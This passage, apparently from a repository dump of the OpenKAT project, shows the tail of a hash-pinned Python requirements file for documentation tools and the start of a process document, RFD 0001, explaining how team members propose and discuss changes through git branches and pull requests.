--hash=sha256:ee2922902c45ae8ccada2c5b501ab86c36525b883eff4255313a253a3160861c \\\n    --hash=sha256:f7057c9a337546edc7973c0d3ba84ddcdf0daa14533c2065749c9075001090e6 \\\n    --hash=sha256:fc09d0aa354569bc501d4e787133afc08552722d3ab34836a80547331bb5d4a0\n    # via\n    #   myst-parser\n    #   sphinxcontrib-mermaid\nreferencing==0.37.0 \\\n    --hash=sha256:381329a9f99628c9069361716891d34ad94af76e461dcb0335825aecc7692231 \\\n    --hash=sha256:44aefc3142c5b842538163acb373e24cce6632bd54bdb01b21ad5863489f50d8\n    # via\n    #   jsonschema\n    #   jsonschema-specifications\nrequests==2.33.1 \\\n    --hash=sha256:18817f8c57c6263968bc123d237e3b8b08ac046f5456bd1e307ee8f4250d3517 \\\n    --hash=sha256:4e6d1ef462f3626a1f0a0a9c42dd93c63bad33f9f1c1937509b8c5c8718ab56a\n    # via\n    #   openkat\n    #   sphinx\nroman-numerals==4.1.0 ; python_full_version >= '3.11' \\\n    --hash=sha256:1af8b147eb1405d5839e78aeb93131690495fe9da5c91856cb33ad55a7f1e5b2 \\\n    --hash=sha256:647ba99caddc2cc1e55a51e4360689115551bf4476d90e8162cf8c345fe233c7\n    # via roman-numerals-py\nroman-numerals-py==4.1.0 ; python_full_version >= '3.11' \\\n    --hash=sha256:553114c1167141c1283a51743759723ecd05604a1b6b507225e91dc1a6df0780 \\\n    --hash=sha256:f5d7b2b4ca52dd855ef7ab8eb3590f428c0b1ea480736ce32b01fef2a5f8daf9\n    # via sphinx\nrpds-py==0.30.0 \\\n    --hash=sha256:07ae8a593e1c3c6b82ca3292efbe73c30b61332fd612e05abee07c79359f292f \\\n    --hash=sha256:0a59119fc6e3f460315fe9d08149f8102aa322299deaa5cab5b40092345c2136 \\\n    --hash=sha256:0c0e95f6819a19965ff420f65578bacb0b00f251fefe2c8b23347c37174271f3 \\\n    --hash=sha256:0d08f00679177226c4cb8c5265012eea897c8ca3b93f429e546600c971bcbae7 \\\n    --hash=sha256:0ed177ed9bded28f8deb6ab40c183cd1192aa0de40c12f38be4d59cd33cb5c65 \\\n    --hash=sha256:12f90dd7557b6bd57f40abe7747e81e0c0b119bef015ea7726e69fe550e394a4 \\\n    --hash=sha256:1726859cd0de969f88dc8673bdd954185b9104e05806be64bcd87badbe313169 \\\n    --hash=sha256:1ab5b83dbcf55acc8b08fc62b796ef672c457b17dbd7820a11d6c52c06839bdf \\\n    --hash=sha256:1b151685b23929ab7beec71080a8889d4d6d9fa9a983d213f07121205d48e2c4 \\\n    --hash=sha256:1f3587eb9b17f3789ad50824084fa6f81921bbf9a795826570bda82cb3ed91f2 \\\n    --hash=sha256:250fa00e9543ac9b97ac258bd37367ff5256666122c2d0f2bc97577c60a1818c \\\n    --hash=sha256:2771c6c15973347f50fece41fc447c054b7ac2ae0502388ce3b6738cd366e3d4 \\\n    --hash=sha256:27f4b0e92de5bfbc6f86e43959e6edd1425c33b5e69aab0984a72047f2bcf1e3 \\\n    --hash=sha256:2e6ecb5a5bcacf59c3f912155044479af1d0b6681280048b338b28e364aca1f6 \\\n    --hash=sha256:32c8528634e1bf7121f3de08fa85b138f4e0dc47657866630611b03967f041d7 \\\n    --hash=sha256:33f559f3104504506a44bb666b93a33f5d33133765b0c216a5bf2f1e1503af89 \\\n    --hash=sha256:3896fa1be39912cf0757753826bc8bdc8ca331a28a7c4ae46b7a21280b06bb85 \\\n    --hash=sha256:389a2d49eded1896c3d48b0136ead37c48e221b391c052fba3f4055c367f60a6 \\\n    --hash=sha256:39c02563fc592411c2c61d26b6c5fe1e51eaa44a75aa2c8735ca88b0d9599daa \\\n    --hash=sha256:3adbb8179ce342d235c31ab8ec511e66c73faa27a47e076ccc92421add53e2bb \\\n    --hash=sha256:3d4a69de7a3e50ffc214ae16d79d8fbb0922972da0356dcf4d0fdca2878559c6 \\\n    --hash=sha256:3e62880792319dbeb7eb866547f2e35973289e7d5696c6e295476448f5b63c87 \\\n    --hash=sha256:3e8eeb0544f2eb0d2581774be4c3410356eba189529a6b3e36bbbf9696175856 \\\n    --hash=sha256:422c3cb9856d80b09d30d2eb255d0754b23e090034e1deb4083f8004bd0761e4 \\\n    --hash=sha256:4559c972db3a360808309e06a74628b95eaccbf961c335c8fe0d590cf587456f \\\n    --hash=sha256:46e83c697b1f1c72b50e5ee5adb4353eef7406fb3f2043d64c33f20ad1c2fc53 \\\n    --hash=sha256:47b0ef6231c58f506ef0b74d44e330405caa8428e770fec25329ed2cb971a229 \\\n    --hash=sha256:47e77dc9822d3ad616c3d5759ea5631a75e5809d5a28707744ef79d7a1bcfcad \\\n    --hash=sha256:47f236970bccb2233267d89173d3ad2703cd36a0e2a6e92d0560d333871a3d23 \\\n    --hash=sha256:47f9a91efc418b54fb8190a6b4aa7813a23fb79c51f4bb84e418f5476c38b8db \\\n    --hash=sha256:495aeca4b93d465efde585977365187149e75383ad2684f81519f504f5c13038 \\\n    --hash=sha256:4c5f36a861bc4b7da6516dbdf302c55313afa09b81931e8280361a4f6c9a2d27 \\\n    --hash=sha256:4cc2206b76b4f576934f0ed374b10d7ca5f457858b157ca52064bdfc26b9fc00 \\\n    --hash=sha256:4e7fc54e0900ab35d041b0601431b0a0eb495f0851a0639b6ef90f7741b39a18 \\\n    --hash=sha256:51a1234d8febafdfd33a42d97da7a43f5dcb120c1060e352a3fbc0c6d36e2083 \\\n    --hash=sha256:55f66022632205940f1827effeff17c4fa7ae1953d2b74a8581baaefb7d16f8c \\\n    --hash=sha256:58edca431fb9b29950807e301826586e5bbf24163677732429770a697ffe6738 \\\n    --hash=sha256:5965af57d5848192c13534f90f9dd16464f3c37aaf166cc1da1cae1fd5a34898 \\\n    --hash=sha256:5ba103fb455be00f3b1c2076c9d4264bfcb037c976167a6047ed82f23153f02e \\\n    --hash=sha256:5d4c2aa7c50ad4728a094ebd5eb46c452e9cb7edbfdb18f9e1221f597a73e1e7 \\\n    --hash=sha256:61046904275472a76c8c90c9ccee9013d70a6d0f73eecefd38c1ae7c39045a08 \\\n    --hash=sha256:613aa4771c99f03346e54c3f038e4cc574ac09a3ddfb0e8878487335e96dead6 \\\n    --hash=sha256:626a7433c34566535b6e56a1b39a7b17ba961e97ce3b80ec62e6f1312c025551 \\\n    --hash=sha256:669b1805bd639dd2989b281be2cfd951c6121b65e729d9b843e9639ef1fd555e \\\n    --hash=sha256:679ae98e00c0e8d68a7fda324e16b90fd5260945b45d3b824c892cec9eea3288 \\\n    --hash=sha256:67b02ec25ba7a9e8fa74c63b6ca44cf5707f2fbfadae3ee8e7494297d56aa9df \\\n    --hash=sha256:68f19c879420aa08f61203801423f6cd5ac5f0ac4ac82a2368a9fcd6a9a075e0 \\\n    --hash=sha256:692bef75a5525db97318e8cd061542b5a79812d711ea03dbc1f6f8dbb0c5f0d2 \\\n    --hash=sha256:6abc8880d9d036ecaafe709079969f56e876fcf107f7a8e9920ba6d5a3878d05 \\\n    --hash=sha256:6bdfdb946967d816e6adf9a3d8201bfad269c67efe6cefd7093ef959683c8de0 \\\n    --hash=sha256:6de2a32a1665b93233cde140ff8b3467bdb9e2af2b91079f0333a0974d12d464 \\\n    --hash=sha256:73c67f2db7bc334e518d097c6d1e6fed021bbc9b7d678d6cc433478365d1d5f5 \\\n    --hash=sha256:74a3243a411126362712ee1524dfc90c650a503502f135d54d1b352bd01f2404 \\\n    --hash=sha256:76fec018282b4ead0364022e3c54b60bf368b9d926877957a8624b58419169b7 \\\n    --hash=sha256:7c64d38fb49b6cdeda16ab49e35fe0da2e1e9b34bc38bd78386530f218b37139 \\\n    --hash=sha256:7cee9c752c0364588353e627da8a7e808a66873672bcb5f52890c33fd965b394 \\\n    --hash=sha256:7e6ecfcb62edfd632e56983964e6884851786443739dbfe3582947e87274f7cb \\\n    --hash=sha256:806f36b1b605e2d6a72716f321f20036b9489d29c51c91f4dd29a3e3afb73b15 \\\n    --hash=sha256:858738e9c32147f78b3ac24dc0edb6610000e56dc0f700fd5f651d0a0f0eb9ff \\\n    --hash=sha256:8d6d1cc13664ec13c1b84241204ff3b12f9bb82464b8ad6e7a5d3486975c2eed \\\n    --hash=sha256:9027da1ce107104c50c81383cae773ef5c24d296dd11c99e2629dbd7967a20c6 \\\n    --hash=sha256:922e10f31f303c7c920da8981051ff6d8c1a56207dbdf330d9047f6d30b70e5e \\\n    --hash=sha256:945dccface01af02675628334f7cf49c2af4c1c904748efc5cf7bbdf0b579f95 \\\n    --hash=sha256:946fe926af6e44f3697abbc305ea168c2c31d3e3ef1058cf68f379bf0335a78d \\\n    --hash=sha256:95f0802447ac2d10bcc69f6dc28fe95fdf17940367b21d34e34c737870758950 \\\n    --hash=sha256:9854cf4f488b3d57b9aaeb105f06d78e5529d3145b1e4a41750167e8c213c6d3 \\\n    --hash=sha256:993914b8e560023bc0a8bf742c5f303551992dcb85e247b1e5c7f4a7d145bda5 \\\n    --hash=sha256:99b47d6ad9a6da00bec6aabe5a6279ecd3c06a329d4aa4771034a21e335c3a97 \\\n    --hash=sha256:9a4e86e34e9ab6b667c27f3211ca48f73dba7cd3d90f8d5b11be56e5dbc3fb4e \\\n    --hash=sha256:9cf69cdda1f5968a30a359aba2f7f9aa648a9ce4b580d6826437f2b291cfc86e \\\n    --hash=sha256:a090322ca841abd453d43456ac34db46e8b05fd9b3b4ac0c78bcde8b089f959b \\\n    --hash=sha256:a1010ed9524c73b94d15919ca4d41d8780980e1765babf85f9a2f90d247153dd \\\n    --hash=sha256:a161f20d9a43006833cd7068375a94d035714d73a172b681d8881820600abfad \\\n    --hash=sha256:a1d0bc22a7cdc173fedebb73ef81e07faef93692b8c1ad3733b67e31e1b6e1b8 \\\n    --hash=sha256:a2bffea6a4ca9f01b3f8e548302470306689684e61602aa3d141e34da06cf425 \\\n    --hash=sha256:a452763cc5198f2f98898eb98f7569649fe5da666c2dc6b5ddb10fde5a574221 \\\n    --hash=sha256:a4796a717bf12b9da9d3ad002519a86063dcac8988b030e405704ef7d74d2d9d \\\n    --hash=sha256:a51033ff701fca756439d641c0ad09a41d9242fa69121c7d8769604a0a629825 \\\n    --hash=sha256:a8fa71a2e078c527c3e9dc9fc5a98c9db40bcc8a92b4e8858e36d329f8684b51 \\\n    --hash=sha256:ac37f9f516c51e5753f27dfdef11a88330f04de2d564be3991384b2f3535d02e \\\n    --hash=sha256:ac98b175585ecf4c0348fd7b29c3864bda53b805c773cbf7bfdaffc8070c976f \\\n    --hash=sha256:acd7eb3f4471577b9b5a41baf02a978e8bdeb08b4b355273994f8b87032000a8 \\\n    --hash=sha256:ad1fa8db769b76ea911cb4e10f049d80bf518c104f15b3edb2371cc65375c46f \\\n    --hash=sha256:b40fb160a2db369a194cb27943582b38f79fc4887291417685f3ad693c5a1d5d \\\n    --hash=sha256:b4dc1a6ff022ff85ecafef7979a2c6eb423430e05f1165d6688234e62ba99a07 \\\n    --hash=sha256:ba3af48635eb83d03f6c9735dfb21785303e73d22ad03d489e88adae6eab8877 \\\n    --hash=sha256:ba81a9203d07805435eb06f536d95a266c21e5b2dfbf6517748ca40c98d19e31 \\\n    --hash=sha256:c2262bdba0ad4fc6fb5545660673925c2d2a5d9e2e0fb603aad545427be0fc58 \\\n    --hash=sha256:c77afbd5f5250bf27bf516c7c4a016813eb2d3e116139aed0096940c5982da94 \\\n    --hash=sha256:ca28829ae5f5d569bb62a79512c842a03a12576375d5ece7d2cadf8abe96ec28 \\\n    --hash=sha256:cdc62c8286ba9bf7f47befdcea13ea0e26bf294bda99758fd90535cbaf408000 \\\n    --hash=sha256:d948b135c4693daff7bc2dcfc4ec57237a29bd37e60c2fabf5aff2bbacf3e2f1 \\\n    --hash=sha256:d96c2086587c7c30d44f31f42eae4eac89b60dabbac18c7669be3700f13c3ce1 \\\n    --hash=sha256:d9a0ca5da0386dee0655b4ccdf46119df60e0f10da268d04fe7cc87886872ba7 \\\n    --hash=sha256:da279aa314f00acbb803da1e76fa18666778e8a8f83484fba94526da5de2cba7 \\\n    --hash=sha256:dbd936cde57abfee19ab3213cf9c26be06d60750e60a8e4dd85d1ab12c8b1f40 \\\n    --hash=sha256:dc4f992dfe1e2bc3ebc7444f6c7051b4bc13cd8e33e43511e8ffd13bf407010d \\\n    --hash=sha256:dc824125c72246d924f7f796b4f63c1e9dc810c7d9e2355864b3c3a73d59ade0 \\\n    --hash=sha256:dd8ff7cf90014af0c0f787eea34794ebf6415242ee1d6fa91eaba725cc441e84 \\\n    --hash=sha256:dea5b552272a944763b34394d04577cf0f9bd013207bc32323b5a89a53cf9c2f \\\n    --hash=sha256:dff13836529b921e22f15cb099751209a60009731a68519630a24d61f0b1b30a \\\n    --hash=sha256:e0b65193a413ccc930671c55153a03ee57cecb49e6227204b04fae512eb657a7 \\\n    --hash=sha256:e5d3e6b26f2c785d65cc25ef1e5267ccbe1b069c5c21b8cc724efee290554419 \\\n    --hash=sha256:e7536cd91353c5273434b4e003cbda89034d67e7710eab8761fd918ec6c69cf8 \\\n    --hash=sha256:eb0b93f2e5c2189ee831ee43f156ed34e2a89a78a66b98cadad955972548be5a \\\n    --hash=sha256:eb2c4071ab598733724c08221091e8d80e89064cd472819285a9ab0f24bcedb9 \\\n    --hash=sha256:ec7c4490c672c1a0389d319b3a9cfcd098dcdc4783991553c332a15acf7249be \\\n    --hash=sha256:ee454b2a007d57363c2dfd5b6ca4a5d7e2c518938f8ed3b706e37e5d470801ed \\\n    --hash=sha256:ee6af14263f25eedc3bb918a3c04245106a42dfd4f5c2285ea6f997b1fc3f89a \\\n    --hash=sha256:f14fc5df50a716f7ece6a80b6c78bb35ea2ca47c499e422aa4463455dd96d56d \\\n    --hash=sha256:f207f69853edd6f6700b86efb84999651baf3789e78a466431df1331608e5324 \\\n    --hash=sha256:f251c812357a3fed308d684a5079ddfb9d933860fc6de89f2b7ab00da481e65f \\\n    --hash=sha256:f83424d738204d9770830d35290ff3273fbb02b41f919870479fab14b9d303b2 \\\n    --hash=sha256:f8d1736cfb49381ba528cd5baa46f82fdc65c06e843dab24dd70b63d09121b3f \\\n    --hash=sha256:fe5fa731a1fa8a0a56b0977413f8cacac1768dad38d16b3a296712709476fbd5\n    # via\n    #   jsonschema\n    #   referencing\nsettings-doc==4.3.2 \\\n    --hash=sha256:04b561093905cab8f5ebaa30c9dacca1d57cd1dc3dd404b7c929b90e2d2d7c0b \\\n    --hash=sha256:cb06aee969f0639abc88e77554a333803191de95e95259a11929cf878d312fab\n    # via openkat\nsix==1.17.0 \\\n    --hash=sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274 \\\n    --hash=sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81\n    # via python-dateutil\nsnowballstemmer==3.0.1 \\\n    --hash=sha256:6cd7b3897da8d6c9ffb968a6781fa6532dce9c3618a4b127d920dab764a19064 \\\n    --hash=sha256:6d5eeeec8e9f84d4d56b847692bacf79bc2c8e90c7f80ca4444ff8b6f2e52895\n    # via sphinx\nsphinx==8.1.3 ; python_full_version < '3.11' \\\n    --hash=sha256:09719015511837b76bf6e03e42eb7595ac8c2e41eeb9c29c5b755c6b677992a2 \\\n    --hash=sha256:43c1911eecb0d3e161ad78611bc905d1ad0e523e4ddc202a58a821773dc4c927\n    # via\n    #   autodoc-pydantic\n    #   myst-parser\n    #   openkat\n    #   sphinx-rtd-theme\n    #   sphinxcontrib-jquery\n    #   sphinxcontrib-mermaid\nsphinx==8.2.3 ; python_full_version >= '3.11' \\\n    --hash=sha256:398ad29dee7f63a75888314e9424d40f52ce5a6a87ae88e7071e80af296ec348 \\\n    --hash=sha256:4405915165f13521d875a8c29c8970800a0141c14cc5416a38feca4ea5d9b9c3\n    # via\n    #   autodoc-pydantic\n    #   myst-parser\n    #   openkat\n    #   sphinx-rtd-theme\n    #   sphinxcontrib-jquery\n    #   sphinxcontrib-mermaid\nsphinx-rtd-theme==3.1.0 \\\n    --hash=sha256:1785824ae8e6632060490f67cf3a72d404a85d2d9fc26bce3619944de5682b89 \\\n    --hash=sha256:b44276f2c276e909239a4f6c955aa667aaafeb78597923b1c60babc76db78e4c\n    # via openkat\nsphinxcontrib-applehelp==2.0.0 \\\n    --hash=sha256:2f29ef331735ce958efa4734873f084941970894c6090408b079c61b2e1c06d1 \\\n    --hash=sha256:4cd3f0ec4ac5dd9c17ec65e9ab272c9b867ea77425228e68ecf08d6b28ddbdb5\n    # via sphinx\nsphinxcontrib-devhelp==2.0.0 \\\n    --hash=sha256:411f5d96d445d1d73bb5d52133377b4248ec79db5c793ce7dbe59e074b4dd1ad \\\n    --hash=sha256:aefb8b83854e4b0998877524d1029fd3e6879210422ee3780459e28a1f03a8a2\n    # via sphinx\nsphinxcontrib-htmlhelp==2.1.0 \\\n    --hash=sha256:166759820b47002d22914d64a075ce08f4c46818e17cfc9470a9786b759b19f8 \\\n    --hash=sha256:c9e2916ace8aad64cc13a0d233ee22317f2b9025b9cf3295249fa985cc7082e9\n    # via sphinx\nsphinxcontrib-jquery==4.1 \\\n    --hash=sha256:1620739f04e36a2c779f1a131a2dfd49b2fd07351bf1968ced074365933abc7a \\\n    --hash=sha256:f936030d7d0147dd026a4f2b5a57343d233f1fc7b363f68b3d4f1cb0993878ae\n    # via sphinx-rtd-theme\nsphinxcontrib-jsmath==1.0.1 \\\n    --hash=sha256:2ec2eaebfb78f3f2078e73666b1415417a116cc848b72e5172e596c871103178 \\\n    --hash=sha256:a9925e4a4587247ed2191a22df5f6970656cb8ca2bd6284309578f2153e0c4b8\n    # via sphinx\nsphinxcontrib-mermaid==2.0.0 \\\n    --hash=sha256:59a73249bbee2c74b1a4db036f8e8899ade65982bdda6712cf22b4f4e9874bb5 \\\n    --hash=sha256:cf4f7d453d001132eaba5d1fdf53d42049f02e913213cf8337427483bfca26f4\n    # via openkat\nsphinxcontrib-qthelp==2.0.0 \\\n    --hash=sha256:4fe7d0ac8fc171045be623aba3e2a8f613f8682731f9153bb2e40ece16b9bbab \\\n    --hash=sha256:b18a828cdba941ccd6ee8445dbe72ffa3ef8cbe7505d8cd1fa0d42d3f2d5f3eb\n    # via sphinx\nsphinxcontrib-serializinghtml==2.0.0 \\\n    --hash=sha256:6e2cb0eef194e10c27ec0023bfeb25badbbb5868244cf5bc5bdc04e4464bf331 \\\n    --hash=sha256:e9d912827f872c029017a53f0ef2180b327c3f7fd23c87229f7a8e8b70031d4d\n    # via sphinx\ntomli==2.4.0 ; python_full_version < '3.11' \\\n    --hash=sha256:0408e3de5ec77cc7f81960c362543cbbd91ef883e3138e81b729fc3eea5b9729 \\\n    --hash=sha256:0dc56fef0e2c1c470aeac5b6ca8cc7b640bb93e92d9803ddaf9ea03e198f5b0b \\\n    --hash=sha256:0e0fe8a0b8312acf3a88077a0802565cb09ee34107813bba1c7cd591fa6cfc8d \\\n    --hash=sha256:0f2e3955efea4d1cfbcb87bc321e00dc08d2bcb737fd1d5e398af111d86db5df \\\n    --hash=sha256:133e93646ec4300d651839d382d63edff11d8978be23da4cc106f5a18b7d0576 \\\n    --hash=sha256:1b168f2731796b045128c45982d3a4874057626da0e2ef1fdd722848b741361d \\\n    --hash=sha256:1c8a885b370751837c029ef9bc014f27d80840e48bac415f3412e6593bbc18c1 \\\n    --hash=sha256:1f776e7d669ebceb01dee46484485f43a4048746235e683bcdffacdf1fb4785a \\\n    --hash=sha256:1fb2945cbe303b1419e2706e711b7113da57b7db31ee378d08712d678a34e51e \\\n    --hash=sha256:20cedb4ee43278bc4f2fee6cb50daec836959aadaf948db5172e776dd3d993fc \\\n    --hash=sha256:20ffd184fb1df76a66e34bd1b36b4a4641bd2b82954befa32fe8163e79f1a702 \\\n    --hash=sha256:26ab906a1eb794cd4e103691daa23d95c6919cc2fa9160000ac02370cc9dd3f6 \\\n    --hash=sha256:2add28aacc7425117ff6364fe9e06a183bb0251b03f986df0e78e974047571fd \\\n    --hash=sha256:2b1e3b80e1d5e52e40e9b924ec43d81570f0e7d09d11081b797bc4692765a3d4 \\\n    --hash=sha256:31d556d079d72db7c584c0627ff3a24c5d3fb4f730221d3444f3efb1b2514776 \\\n    --hash=sha256:36b9d05b51e65b254ea6c2585b59d2c4cb91c8a3d91d0ed0f17591a29aaea54a \\\n    --hash=sha256:39b0b5d1b6dd03684b3fb276407ebed7090bbec989fa55838c98560c01113b66 \\\n    --hash=sha256:3cf226acb51d8f1c394c1b310e0e0e61fecdd7adcb78d01e294ac297dd2e7f87 \\\n    --hash=sha256:3d895d56bd3f82ddd6faaff993c275efc2ff38e52322ea264122d72729dca2b2 \\\n    --hash=sha256:413540dce94673591859c4c6f794dfeaa845e98bf35d72ed59636f869ef9f86f \\\n    --hash=sha256:43e685b9b2341681907759cf3a04e14d7104b3580f808cfde1dfdb60ada85475 \\\n    --hash=sha256:4cbcb367d44a1f0c2be408758b43e1ffb5308abe0ea222897d6bfc8e8281ef2f \\\n    --hash=sha256:551e321c6ba03b55676970b47cb1b73f14a0a4dce6a3e1a9458fd6d921d72e95 \\\n    --hash=sha256:5572e41282d5268eb09a697c89a7bee84fae66511f87533a6f88bd2f7b652da9 \\\n    --hash=sha256:5aa48d7c2356055feef06a43611fc401a07337d5b006be13a30f6c58f869e3c3 \\\n    --hash=sha256:5b5807f3999fb66776dbce568cc9a828544244a8eb84b84b9bafc080c99597b9 \\\n    --hash=sha256:5e3f639a7a8f10069d0e15408c0b96a2a828cfdec6fca05296ebcdcc28ca7c76 \\\n    --hash=sha256:685306e2cc7da35be4ee914fd34ab801a6acacb061b6a7abca922aaf9ad368da \\\n    --hash=sha256:75c2f8bbddf170e8effc98f5e9084a8751f8174ea6ccf4fca5398436e0320bc8 \\\n    --hash=sha256:7b438885858efd5be02a9a133caf5812b8776ee0c969fea02c45e8e3f296ba51 \\\n    --hash=sha256:7d49c66a7d5e56ac959cb6fc583aff0651094ec071ba9ad43df785abc2320d86 \\\n    --hash=sha256:7d6d9a4aee98fac3eab4952ad1d73aee87359452d1c086b5ceb43ed02ddb16b8 \\\n    --hash=sha256:84d081fbc252d1b6a982e1870660e7330fb8f90f676f6e78b052ad4e64714bf0 \\\n    --hash=sha256:8768715ffc41f0008abe25d808c20c3d990f42b6e2e58305d5da280ae7d1fa3b \\\n    --hash=sha256:920b1de295e72887bafa3ad9f7a792f811847d57ea6b1215154030cf131f16b1 \\\n    --hash=sha256:9a08144fa4cba33db5255f9b74f0b89888622109bd2776148f2597447f92a94e \\\n    --hash=sha256:a26d7ff68dfdb9f87a016ecfd1e1c2bacbe3108f4e0f8bcd2228ef9a766c787d \\\n    --hash=sha256:aa89c3f6c277dd275d8e243ad24f3b5e701491a860d5121f2cdd399fbb31fc9c \\\n    --hash=sha256:b5ef256a3fd497d4973c11bf142e9ed78b150d36f5773f1ca6088c230ffc5867 \\\n    --hash=sha256:b6c78bdf37764092d369722d9946cb65b8767bfa4110f902a1b2542d8d173c8a \\\n    --hash=sha256:bbb1b10aa643d973366dc2cb1ad94f99c1726a02343d43cbc011edbfac579e7c \\\n    --hash=sha256:c084ad935abe686bd9c898e62a02a19abfc9760b5a79bc29644463eaf2840cb0 \\\n    --hash=sha256:c73add4bb52a206fd0c0723432db123c0c75c280cbd67174dd9d2db228ebb1b4 \\\n    --hash=sha256:cae9c19ed12d4e8f3ebf46d1a75090e4c0dc16271c5bce1c833ac168f08fb614 \\\n    --hash=sha256:d20b797a5c1ad80c516e41bc1fb0443ddb5006e9aaa7bda2d71978346aeb9132 \\\n    --hash=sha256:d3d1654e11d724760cdb37a3d7691f0be9db5fbdaef59c9f532aabf87006dbaa \\\n    --hash=sha256:d878f2a6707cc9d53a1be1414bbb419e629c3d6e67f69230217bb663e76b5087\n    # via sphinx\ntyping-extensions==4.15.0 \\\n    --hash=sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466 \\\n    --hash=sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548\n    # via\n    #   pydantic\n    #   pydantic-core\n    #   referencing\n    #   typing-inspection\ntyping-inspection==0.4.2 \\\n    --hash=sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7 \\\n    --hash=sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464\n    # via\n    #   pydantic\n    #   pydantic-settings\nurllib3==2.6.3 \\\n    --hash=sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed \\\n    --hash=sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4\n    # via requests\n"
  },
  {
    "path": "rfd/0001-rfd.md",
    "content": "---\nauthors: JP Bruins Slot <jpbruinsslot@gmail.com>\nstate: published\ndiscussion: https://github.com/minvws/nl-kat-coordination/pull/3002\nlabels: process\n---\n\n# RFD 0001: Requests For Discussion\n\n## Introduction\n\nAt the basis of this proposal is the idea that RFDs are a way to propose and\ndiscuss changes to the project. They are a way to document the design and\nimplementation of a feature or architectural decisions, and to solicit feedback.\nAn RFD is designed to allow for discussion of rough ideas, and additionally the\ndocuments become a permanent record for more established ones.\n\nDepending on the state of the RFD they may be quickly iterated on in a branch,\ndiscussed actively as part of a pull request to be merged, or commented upon\nafter having been published. The level of depth of an RFD depends on the topic\nand urgency of the RFD. Some can be used as documentation of the current\nknowledge on a topic, while others may be more urgent and require less rigor.\n\nThis proposal aims to facilitate better decision-making. By documenting ideas,\nrequirements, and subsequent discussions, decisions become more informed and\ndata-driven. The RFD process enhances communication and collaboration by\nproviding a clear, structured format for capturing and sharing information.\n\nDocumenting RFDs in plain text files ensures they are easily searchable and can\nbe tracked over time. The self-documenting nature of RFDs clarifies the\nreasoning behind architectural design choices, helping to maintain transparency\nand continuity throughout the project.\n\n## Proposal\n\n### Design\n\n#### When to use an RFD\n\nAn RFD should be used when a change is proposed that is non-trivial. This could\nbe a new feature, a change to the architecture, or a change to the process. The\nRFD should be used to document the proposal and to solicit feedback from the\nteam. Dependent on the project the RFD process can be used for different types\nof changes. Some examples for this project include:\n\n- ...\n- ...\n- ...\n\n#### Overview of the RFD process\n\nHere you can view a Git diagram of a typical RFD process, from creation to\nimplementation. It follows the process described in the section [How to start\nthe RFD process](#how-to-start-the-rfd-process).\n\n```mermaid\ngitGraph\n    commit id: \" \"\n    branch rfd/0042\n    checkout rfd/0042\n    commit id: \"RFD 0042: Adding placeholder for RFD\" tag: \"state: draft\"\n    commit\n    commit\n    commit id: \"RFD 0042: Ready for review\" tag: \"state: discussion\"\n    checkout main\n    merge rfd/0042 tag: \"state: published\"\n    commit\n    branch rfd/0042-rfd-modification\n    checkout rfd/0042-rfd-modification\n    commit id: \"RFD 0042: Add section on X\"\n    checkout main\n    commit tag: \"state: implemented\"\n    merge rfd/0042-rfd-modification\n    commit\n```\n\n#### How to start the RFD process\n\n1.  Reserve an RFD number\n\n    Check the repository for the next available RFD number.\n\n2.  Create branch for your RFD\n\n    Create a branch named after the RFD number you wish to reserve. The branch\n    name should be in the format `rfd/{number}`. If less than 4 digits,\n    pad with zeros. Before creating the branch, check if the branch already\n    exists.\n\n    ```bash\n    # -r list remote branches\n    # -l list branches with optional pattern\n    git branch -rl \"*0042\"\n    ```\n\n    If you see a branch there but the corresponding number isn't present in\n    the `rfd` directory, it is possible that the RFD is in the process of\n    being created. If you are unsure, ask your team.\n\n    When everything checks out, create the branch.\n\n    ```bash\n    # git checkout -b rfd/{number}\n    git checkout -b rfd/0042\n    ```\n\n3.  Create a placeholder RFD file in the `rfd` directory.\n\n    This file should contain the meta data and a brief description of the RFD.\n    The file should be named after the RFD number you reserved. The status of\n    the RFD should be `draft`.\n\n    These RFD files should be stored in a repository either in a directory or\n    into a separate repository. Within a directory or repository the files\n    should be named after the RFD number and title. Example:\n\n    ```bash\n    # touch rfd/{rfd-number}-{title}.md\n    touch rfd/0042-question-of-life.md\n    ```\n\n    Create the RFD file using the prototype file:\n\n    ```bash\n    cp rfd/prototypes/prototype.md rfd/0042-question-of-life.md\n    ```\n\n4.  Open a Draft Pull Request\n\n    Open a Draft Pull Request and set the title of the PR to:\n    `RFD {number}: {title}` Within the document add the pull request link to the\n    `discussion:` meta data.\n\n5.  Push your RFD branch remotely:\n\n    ```bash\n    git add rfd/0042-question-of-life.md\n    git commit -m \"RFD 0042: Adding placeholder for RFD\"\n    git push origin rfd/0042\n    ```\n\n6.  Work on your RFD branch.\n\n    You're now ready to work on your RFD in the branch you created.\n\n    ```bash\n    git checkout rfd/0042\n    ```\n\n    Work on your RFD and commit your changes. Iterate on your RFD for it to be\n    ready for feedback and discussion with others. See the section on how to\n    structure an RFD for more information [link](#how-to-structure-an-rfd).\n\n7.  Ready for review\n\n    When you're ready to receive feedback on your RFD, update the state of your\n    RFD to `discussion` and push your changes remotely.\n\n    ```bash\n    git commit -am \"RFD 0042: Add RFD for <title>\"\n    git push origin rfd/0042\n    ```\n\n    Update your Pull Request and change its state from _draft_ to _ready for\n    review_.\n\n8.  Discuss the RFD on the Pull Request\n\n    The discussion should be had on the pull request. The RFD should be updated\n    with the feedback and changes that are made to the RFD.\n\n9.  Merge the Pull Request\n\n    When the RFD is ready, and after discussion and feedback have been\n    addressed, the PR can be merged into the main branch. The state should then\n    be updated to `published`.\n\n    Discussion can still continue on published RFDs. The discussion link in the\n    RFD's `discussion:` metadata should point to the original PR.\n\n    If a discussion post-merge requires a larger discussion on its own, a new\n    issue should be created. In the issue title reflect the RFD number. Example:\n    \"RFD 0042: Add section on X\" and be sure to link back to the original PR in\n    the issue description.\n\n10. Making changes to an RFD\n\n    After an RFD has been merged, there is still the possibility to make\n    changes. Create a new pull request with the changes you like to make.\n    Similar in concept to a feature branch, each logically independent change\n    to an 